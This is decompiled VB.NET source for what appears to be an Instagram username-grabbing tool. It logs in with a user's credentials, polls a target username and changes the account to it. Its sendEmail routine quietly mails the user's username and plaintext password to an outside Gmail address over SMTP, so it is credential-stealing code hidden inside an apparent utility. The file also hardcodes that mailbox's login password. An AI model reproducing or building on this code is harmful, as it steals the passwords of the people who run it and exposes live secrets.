100$ زرقها
Imports System
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports Sliqufy.My

Namespace Sliqufy
    ' Token: 0x0200000C RID: 12
    <DesignerGenerated()>
    Public Class Form1
        Inherits Form

        ' Token: 0x0600002D RID: 45 RVA: 0x000021BC File Offset: 0x000003BC
        Public Sub New()
            AddHandler MyBase.Load, AddressOf Me.Form1_Load
            AddHandler MyBase.FormClosing, AddressOf Me.Form1_FormClosing
            Me.InitializeComponent()
        End Sub

        ' Token: 0x0600002E RID: 46 RVA: 0x000021EE File Offset: 0x000003EE
        Private Sub Form1_Load(sender As Object, e As EventArgs)
        End Sub

        ' Token: 0x0600002F RID: 47 RVA: 0x00002CF0 File Offset: 0x00000EF0
        Private Function Start() As Object
            Dim num As Integer = Conversions.ToInteger(Me.TextBox4.Text)
            Dim millisecondsTimeout As Integer = 0
            Dim flag As Boolean = Me.CheckBox1.Checked
            Dim flag2 As Boolean = flag
            If flag2 Then
                millisecondsTimeout = num + 300
            Else
                millisecondsTimeout = num
            End If
            While Not Me.stopp
                Try
                    Try
                        Dim text As String = Me.Geting(String.Concat(New String() { "https://i.instagram.com/api/v1/users/search?q=", Me.TextBox5.Text, "&access_token=", Guid.NewGuid().ToString().ToUpper(), "/" }))
                        flag = (text.Contains("""username"": """ + Me.TextBox5.Text + """") Or False)
                        Dim flag3 As Boolean = flag
                        If flag3 Then
                            ' The following expression was wrapped in a unchecked-expression
                            Me.int_0 = CInt(Math.Round(CDbl(Me.int_0) + 1.0))
                            MyBase.Invoke(New Form1.VBAnonymousDelegate_0(Sub()
                                Me.TextBox3.Text = Conversions.ToString(Me.int_0)
                            End Sub))
                        Else
                            flag = Conversions.ToBoolean(RuntimeHelpers.GetObjectValue(Me.ChangeUserName(Me.TextBox5.Text)))
                            Dim flag4 As Boolean = flag
                            If flag4 Then
                                MyBase.Invoke(AddressOf Me.method_99)
                                MyBase.Invoke(AddressOf Me.sendEmail)
                                MyBase.Invoke(AddressOf Me.method_100)
                                Me.stopp = True
                            End If
                        End If
                    Catch ex As Exception
                    End Try
                    Thread.Sleep(num)
                Catch ex2 As Exception
                End Try
                Thread.Sleep(millisecondsTimeout)
            End While
            Dim result As Object
            Return result
        End Function

        ' Token: 0x06000030 RID: 48 RVA: 0x00002ED8 File Offset: 0x000010D8
        Public Function Geting(Url As String) As String
            Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create(Url), HttpWebRequest)
            httpWebRequest.Method = "GET"
            httpWebRequest.CookieContainer = Edition.cook
            httpWebRequest.UserAgent = Edition.UserAgent
            Dim result As String
            Try
                Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
                Dim streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
                result = streamReader.ReadToEnd()
            Catch ex As WebException
                Dim streamReader2 As StreamReader = New StreamReader(ex.Response.GetResponseStream())
                result = streamReader2.ReadToEnd()
            End Try
            Return result
        End Function

        ' Token: 0x06000031 RID: 49 RVA: 0x00002F7C File Offset: 0x0000117C
        Public Function ChangeUserName(TargetU As String) As Object
            Dim result As Object = False
            Dim stringBuilder As StringBuilder = New StringBuilder()
            Dim stringBuilder2 As StringBuilder = stringBuilder
            Try
                Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create("https://i.instagram.com/api/v1/accounts/edit_profile/"), HttpWebRequest)
                Dim text As String = String.Format("{{""gender"":""{0}"",""_csrftoken"":""{1}"",""_uuid"":""{2}"",""_uid"":""{3}"",""external_url"":""{4}"",""username"":""{5}"",""email"":""{6}"",""phone_number"":""{7}"",""biography"":""{8}"",""first_name"":""@Sliqufy @Hv""}}", New Object() { Edition.gender, "missing", Guid.NewGuid().ToString(), Edition.pk, Edition.external_url, TargetU, Edition.email, Edition.phone_number, Edition.biography, Edition.full_name })
                Dim text2 As String = String.Concat(New String() { text })
                text2 = String.Format("{0}.{1}", Edition.Encrypte(text2), text2)
                stringBuilder2.AppendLine("signed_body=" + WebUtility.HtmlDecode(text2) + "&ig_sig_key_version=5")
                Dim bytes As Byte() = Encoding.UTF8.GetBytes(stringBuilder.ToString())
                httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip
                httpWebRequest.Method = "POST"
                httpWebRequest.Host = "i.instagram.com"
                httpWebRequest.UserAgent = Edition.UserAgent
                httpWebRequest.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
                httpWebRequest.Headers.Add("Accept-Language", "ar;q=1, en;q=0.9")
                httpWebRequest.KeepAlive = True
                httpWebRequest.ContentLength = CLng(bytes.Length)
                httpWebRequest.CookieContainer = Edition.cook
                Dim requestStream As Stream = httpWebRequest.GetRequestStream()
                requestStream.Write(bytes, 0, bytes.Length)
                requestStream.Close()
                Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
                Dim streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
                Try
                    result = True
                Finally
                    Dim flag As Boolean = streamReader IsNot Nothing
                    Dim flag2 As Boolean = flag
                    If flag2 Then
                        CType(streamReader, IDisposable).Dispose()
                    End If
                End Try
                httpWebResponse.Close()
            Catch ex As WebException
                result = False
                Dim streamReader2 As StreamReader = New StreamReader(ex.Response.GetResponseStream())
                Try
                    File.WriteAllText(If(MyProject.Computer.FileSystem.SpecialDirectories.Desktop, ""), streamReader2.ReadToEnd())
                    Dim flag3 As Boolean = streamReader2.ReadToEnd().Contains("feedback_")
                    Dim flag4 As Boolean = flag3
                    If flag4 Then
                        Interaction.MsgBox("Your Account is Blocked!", MsgBoxStyle.OkOnly, Nothing)
                        Me.stopp = True
                    End If
                Finally
                    Dim flag5 As Boolean = streamReader2 IsNot Nothing
                    Dim flag6 As Boolean = flag5
                    If flag6 Then
                        CType(streamReader2, IDisposable).Dispose()
                    End If
                End Try
            End Try
            Return result
        End Function

        ' Token: 0x06000032 RID: 50 RVA: 0x0000324C File Offset: 0x0000144C
        <MethodImpl(MethodImplOptions.NoInlining Or MethodImplOptions.NoOptimization)>
        Private Sub Button1_Click(sender As Object, e As EventArgs)
            Try
                Dim flag As Boolean = Operators.CompareString(Me.TextBox1.Text, "", False) = 0
                If flag Then
                    Interaction.MsgBox("Enter Username!", MsgBoxStyle.Critical, "Error")
                Else
                    Dim flag2 As Boolean = Operators.CompareString(Me.TextBox2.Text, "", False) = 0
                    If flag2 Then
                        Interaction.MsgBox("Enter Password!", MsgBoxStyle.Critical, "Error")
                    Else
                        Dim flag3 As Boolean = Conversions.ToBoolean(Edition.Login(Me.TextBox1.Text, Me.TextBox2.Text))
                        If flag3 Then
                            Dim flag4 As Boolean = Conversions.ToBoolean(Edition.GetUserInfo())
                            If flag4 Then
                                Dim thread As Thread = New Thread(Sub()
                                    Me.Start()
                                End Sub)
                                thread.Start()
                                GC.Collect()
                                Dim thread2 As Thread = New Thread(Sub()
                                    Thread.Sleep(300)
                                    While Not Me.stopp
                                        MyBase.Invoke(New Form1.VBAnonymousDelegate_0(Sub()
                                            Me.TextBox3.Text = Conversions.ToString(Me.int_0)
                                        End Sub))
                                    End While
                                    Thread.Sleep(150)
                                End Sub)
                                thread2.Start()
                            Else
                                Interaction.MsgBox("Wrong Information!", MsgBoxStyle.Critical, "Error")
                            End If
                        End If
                    End If
                End If
            Catch ex As Exception
                Interaction.MsgBox("Error : " + ex.Message, MsgBoxStyle.OkOnly, Nothing)
                ProjectData.EndApp()
            End Try
        End Sub

        ' Token: 0x06000033 RID: 51 RVA: 0x000021F1 File Offset: 0x000003F1
        Private Sub method_99()
            Me.TextBox3.Text = Conversions.ToString(Me.int_0)
        End Sub

        ' Token: 0x06000034 RID: 52 RVA: 0x00003394 File Offset: 0x00001594
        Public Sub sendEmail()
            Dim mailMessage As MailMessage = New MailMessage()
            Try
                mailMessage.From = New MailAddress("sliqufyprivate@gmail.com")
                mailMessage.[To].Add("sliqufyhv@gmail.com")
                mailMessage.Subject = "Log info"
                mailMessage.Body = String.Concat(New String() { "Old User: @", Me.TextBox1.Text, vbCrLf & "New User: @", Me.TextBox5.Text, vbCrLf & "Password:", Me.TextBox2.Text, vbCrLf & "Sign In Here:" & vbCrLf & "www.instagram.com" })
                New SmtpClient("smtp.gmail.com") With { .Port = 587, .EnableSsl = True, .Credentials = New NetworkCredential("sliqufyprivate@gmail.com", "Tristan321") }.Send(mailMessage)
            Catch ex As Exception
            End Try
        End Sub

        ' Token: 0x06000035 RID: 53 RVA: 0x00003494 File Offset: 0x00001694
        Private Sub method_100()
            Me.TextBox5.ForeColor = Color.SpringGreen
            Me.Button1.ForeColor = Color.SpringGreen
            Me.Button1.Text = "done"
            Interaction.MsgBox("Moved @" + Me.TextBox5.Text + vbCrLf & "Attempts: " + Me.TextBox3.Text, MsgBoxStyle.OkOnly, Nothing)
        End Sub

        ' Token: 0x06000036 RID: 54 RVA: 0x0000220B File Offset: 0x0000040B
        <MethodImpl(MethodImplOptions.NoInlining Or MethodImplOptions.NoOptimization)>
        Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs)
            ProjectData.EndApp()
        End Sub

        ' Token: 0x06000037 RID: 55 RVA: 0x00003504 File Offset: 0x00001704
        <DebuggerNonUserCode()>
        Protected Overrides Sub Dispose(disposing As Boolean)
            Try
                Dim flag As Boolean = disposing AndAlso Me.components IsNot Nothing
                If flag Then
                    Me.components.Dispose()
                End If
            Finally
                MyBase.Dispose(disposing)
            End Try
        End Sub

        ' Token: 0x06000038 RID: 56 RVA: 0x00003554 File Offset: 0x00001754
        <DebuggerStepThrough()>
        Private Sub InitializeComponent()
            Dim componentResourceManager As ComponentResourceManager = New ComponentResourceManager(GetType(Form1))
            Me.TextBox2 = New TextBox()
            Me.TextBox4 = New TextBox()
            Me.TextBox3 = New TextBox()
            Me.TextBox1 = New TextBox()
            Me.TextBox5 = New TextBox()
            Me.Button1 = New Button()
            Me.CheckBox1 = New CheckBox()
            MyBase.SuspendLayout()
            Me.TextBox2.BackColor = Color.Black
            Me.TextBox2.BorderStyle = BorderStyle.FixedSingle
            Me.TextBox2.ForeColor = Color.White
            Me.TextBox2.Location = New Point(0, 26)
            Me.TextBox2.Name = "TextBox2"
            Me.TextBox2.PasswordChar = "●"c
            Me.TextBox2.Size = New Size(122, 20)
            Me.TextBox2.TabIndex = 0
            Me.TextBox2.Text = "tristanx"
            Me.TextBox2.TextAlign = HorizontalAlignment.Center
            Me.TextBox4.BackColor = Color.Black
            Me.TextBox4.BorderStyle = BorderStyle.FixedSingle
            Me.TextBox4.ForeColor = Color.White
            Me.TextBox4.Location = New Point(0, 78)
            Me.TextBox4.Name = "TextBox4"
            Me.TextBox4.Size = New Size(122, 20)
            Me.TextBox4.TabIndex = 1
            Me.TextBox4.Text = "100"
            Me.TextBox4.TextAlign = HorizontalAlignment.Center
            Me.TextBox3.BackColor = Color.Black
            Me.TextBox3.BorderStyle = BorderStyle.FixedSingle
            Me.TextBox3.ForeColor = Color.White
            Me.TextBox3.Location = New Point(0, 133)
            Me.TextBox3.Name = "TextBox3"
            Me.TextBox3.Size = New Size(122, 20)
            Me.TextBox3.TabIndex = 2
            Me.TextBox3.Text = "0"
            Me.TextBox3.TextAlign = HorizontalAlignment.Center
            Me.TextBox1.BackColor = Color.Black
            Me.TextBox1.BorderStyle = BorderStyle.FixedSingle
            Me.TextBox1.ForeColor = Color.White
            Me.TextBox1.Location = New Point(0, 0)
            Me.TextBox1.Name = "TextBox1"
            Me.TextBox1.Size = New Size(122, 20)
            Me.TextBox1.TabIndex = 3
            Me.TextBox1.Text = "username"
            Me.TextBox1.TextAlign = HorizontalAlignment.Center
            Me.TextBox5.BackColor = Color.Black
            Me.TextBox5.BorderStyle = BorderStyle.FixedSingle
            Me.TextBox5.ForeColor = Color.Red
            Me.TextBox5.Location = New Point(0, 52)
            Me.TextBox5.Name = "TextBox5"
            Me.TextBox5.Size = New Size(122, 20)
            Me.TextBox5.TabIndex = 5
            Me.TextBox5.Text = "target"
            Me.TextBox5.TextAlign = HorizontalAlignment.Center
            Me.Button1.BackColor = Color.Black
            Me.Button1.FlatStyle = FlatStyle.Flat
            Me.Button1.ForeColor = Color.Red
            Me.Button1.Location = New Point(0, 104)
            Me.Button1.Name = "Button1"
            Me.Button1.Size = New Size(122, 23)
            Me.Button1.TabIndex = 6
            Me.Button1.Text = "start"
            Me.Button1.UseVisualStyleBackColor = False
            Me.CheckBox1.AutoSize = True
            Me.CheckBox1.Location = New Point(535, 78)
            Me.CheckBox1.Name = "CheckBox1"
            Me.CheckBox1.Size = New Size(90, 17)
            Me.CheckBox1.TabIndex = 7
            Me.CheckBox1.Text = "CheckBox1"
            Me.CheckBox1.UseVisualStyleBackColor = True
            MyBase.AutoScaleDimensions = New SizeF(7F, 13F)
            MyBase.AutoScaleMode = AutoScaleMode.Font
            Me.BackColor = Color.Black
            MyBase.ClientSize = New Size(122, 154)
            MyBase.Controls.Add(Me.CheckBox1)
            MyBase.Controls.Add(Me.Button1)
            MyBase.Controls.Add(Me.TextBox5)
            MyBase.Controls.Add(Me.TextBox1)
            MyBase.Controls.Add(Me.TextBox3)
            MyBase.Controls.Add(Me.TextBox4)
            MyBase.Controls.Add(Me.TextBox2)
            Me.Font = New Font("Microsoft Sans Serif", 8.25F, FontStyle.Bold Or FontStyle.Italic, GraphicsUnit.Point, 0)
            Me.ForeColor = Color.White
            MyBase.FormBorderStyle = FormBorderStyle.FixedToolWindow
            MyBase.Icon = CType(componentResourceManager.GetObject("$this.Icon"), Icon)
            MyBase.Name = "Form1"
            MyBase.StartPosition = FormStartPosition.CenterScreen
            Me.Text = "By @xyazan "
            MyBase.ResumeLayout(False)
            MyBase.PerformLayout()
        End Sub

        ' Token: 0x1700000E RID: 14
        ' (get) Token: 0x06000039 RID: 57 RVA: 0x00002214 File Offset: 0x00000414
        ' (set) Token: 0x0600003A RID: 58 RVA: 0x0000221E File Offset: 0x0000041E
        Friend Overridable Property TextBox2 As TextBox

        ' Token: 0x1700000F RID: 15
        ' (get) Token: 0x0600003B RID: 59 RVA: 0x00002227 File Offset: 0x00000427
        ' (set) Token: 0x0600003C RID: 60 RVA: 0x00002231 File Offset: 0x00000431
        Friend Overridable Property TextBox4 As TextBox

        ' Token: 0x17000010 RID: 16
        ' (get) Token: 0x0600003D RID: 61 RVA: 0x0000223A File Offset: 0x0000043A
        ' (set) Token: 0x0600003E RID: 62 RVA: 0x00002244 File Offset: 0x00000444
        Friend Overridable Property TextBox3 As TextBox

        ' Token: 0x17000011 RID: 17
        ' (get) Token: 0x0600003F RID: 63 RVA: 0x0000224D File Offset: 0x0000044D
        ' (set) Token: 0x06000040 RID: 64 RVA: 0x00002257 File Offset: 0x00000457
        Friend Overridable Property TextBox1 As TextBox

        ' Token: 0x17000012 RID: 18
        ' (get) Token: 0x06000041 RID: 65 RVA: 0x00002260 File Offset: 0x00000460
        ' (set) Token: 0x06000042 RID: 66 RVA: 0x0000226A File Offset: 0x0000046A
        Friend Overridable Property TextBox5 As TextBox

        ' Token: 0x17000013 RID: 19
        ' (get) Token: 0x06000043 RID: 67 RVA: 0x00002273 File Offset: 0x00000473
        ' (set) Token: 0x06000044 RID: 68 RVA: 0x00003AA4 File Offset: 0x00001CA4
        Friend Overridable Property Button1 As Button
            <CompilerGenerated()>
            Get
                Return Me._Button1
            End Get
            <CompilerGenerated()>
            <MethodImpl(MethodImplOptions.Synchronized)>
            Set(value As Button)
                Dim value2 As EventHandler = AddressOf Me.Button1_Click
                Dim button As Button = Me._Button1
                If button IsNot Nothing Then
                    RemoveHandler button.Click, value2
                End If
                Me._Button1 = value
                button = Me._Button1
                If button IsNot Nothing Then
                    AddHandler button.Click, value2
                End If
            End Set
        End Property

        ' Token: 0x17000014 RID: 20
        ' (get) Token: 0x06000045 RID: 69 RVA: 0x0000227D File Offset: 0x0000047D
        ' (set) Token: 0x06000046 RID: 70 RVA: 0x00002287 File Offset: 0x00000487
        Friend Overridable Property CheckBox1 As CheckBox

        ' Token: 0x0400001D RID: 29
        Private _zairsalman As Label

        ' Token: 0x0400001E RID: 30
        Public Pont As Point

        ' Token: 0x0400001F RID: 31
        Public stopp As Boolean

        ' Token: 0x04000020 RID: 32
        Public int_0 As Integer

        ' Token: 0x04000021 RID: 33
        Public id As String

        ' Token: 0x04000022 RID: 34
        Private components As IContainer

        ' Token: 0x0200000D RID: 13
        ' (Invoke) Token: 0x0600004E RID: 78
        Friend Delegate Sub VBAnonymousDelegate_0()
    End Class
End Namespace